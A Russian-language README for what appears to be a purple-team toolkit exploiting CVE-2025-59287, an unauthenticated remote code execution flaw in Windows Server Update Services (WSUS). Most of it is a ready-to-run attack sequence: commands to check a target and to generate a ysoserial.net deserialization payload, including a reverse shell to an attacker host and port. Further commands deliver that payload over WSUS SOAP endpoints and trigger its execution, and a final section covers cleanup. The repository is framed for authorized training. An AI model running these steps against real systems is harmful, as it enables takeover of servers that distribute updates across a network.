Сценарии упражнений для фиолетовой команды, демонстрирующие CVE-2025-59287 — неаутентифицированное RCE в WSUS через внедрение вредоносной полезной нагрузки десериализации в базу данных WSUS.
Скрипты для фиолетовой команды (purple team) для CVE-2025-59287 — уязвимости неаутентифицированного удаленного выполнения кода в службах Windows Server Update Services (WSUS).
Только санкционированное использование. Для применения в контролируемых учебных средах против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Уязвимость злоупотребляет анонимно доступными SOAP-конечными точками WSUS для внедрения вредоносной полезной нагрузки десериализации в базу данных WSUS. Полезная нагрузка выполняется при открытии консоли администрирования WSUS или при запуске синхронизации.
8530ysoserial\Release\ (см. Настройка)wsus-cve-2025-59287/
├── 1-check.ps1 # Проверить, уязвима ли цель
├── 2-generate.ps1 # Сгенерировать сериализованный блок полезной нагрузки
├── 3-deliver.ps1 # Доставить полезную нагрузку на сервер WSUS
├── 4-verify.ps1 # Проверить выполнение и очистить
├── ysoserial/ # Поместите сюда релиз ysoserial.net (не включен в репозиторий)
│ └── Release/
│ └── ysoserial.exe
└── README.md
Клонируйте или скачайте репозиторий. Добавьте ysoserial.net так, чтобы путь соответствовал ysoserial\Release\ysoserial.exe.
Скачайте ysoserial.net с: https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 По умолчанию это вызовет срабатывание Windows Defender
Запускайте все скрипты из корня репозитория.
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
Сброс файла (прослушиватель не требуется, рекомендуется сначала):
.\2-generate.ps1 -Mode filedrop
Обратная оболочка:
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
На сервере WSUS откройте консоль администрирования через Пуск > Windows Server Update Services, или запустите синхронизацию через PowerShell:
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
Проверка выполнения:
.\4-verify.ps1
Проверка и удаление всех артефактов:
.\4-verify.ps1 -Cleanup
С атакующей машины через административную папку:
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
После очистки удалите учебный компьютер из консоли WSUS в разделе Компьютеры.